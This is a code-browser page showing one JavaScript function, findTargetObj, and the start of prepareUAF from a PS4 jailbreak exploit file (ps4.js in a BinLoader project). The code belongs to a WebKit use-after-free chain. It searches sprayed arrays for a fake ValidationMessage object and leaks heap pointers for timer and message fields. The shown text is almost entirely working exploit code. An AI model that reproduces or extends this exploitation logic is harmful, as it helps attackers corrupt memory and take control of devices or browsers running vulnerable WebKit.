MCPcopy Create free account
hub / github.com/GamerHack/GamerHack.github.io / findTargetObj

Function findTargetObj

702/BinLoader/ps4.js:428–446  ·  view source on GitHub ↗
()

Source from the content-addressed store, hash-verified

426}
427
428function findTargetObj() {
429 for (let i = 0; i < g_arr_ab_1.length; i++) {
430 if (!Int64.fromDouble(g_arr_ab_1[i][2]).equals(Int64.Zero)) {
431 debug_log("[+] Found fake ValidationMessage");
432
433 if (g_round === 2) {
434 g_timer_leak = Int64.fromDouble(g_arr_ab_1[i][2]);
435 g_message_heading_leak = Int64.fromDouble(g_arr_ab_1[i][4]);
436 g_message_body_leak = Int64.fromDouble(g_arr_ab_1[i][5]);
437 g_round++;
438 }
439
440 g_fake_validation_message = g_arr_ab_1[i];
441 g_arr_ab_1 = [];
442 return true;
443 }
444 }
445 return false;
446}
447
448function prepareUAF() {
449 g_input.setCustomValidity("ps4");

Callers 2

confuseTargetObjRound2Function · 0.70
confuseTargetObjRound1Function · 0.70

Calls 1

debug_logFunction · 0.70

Tested by

no test coverage detected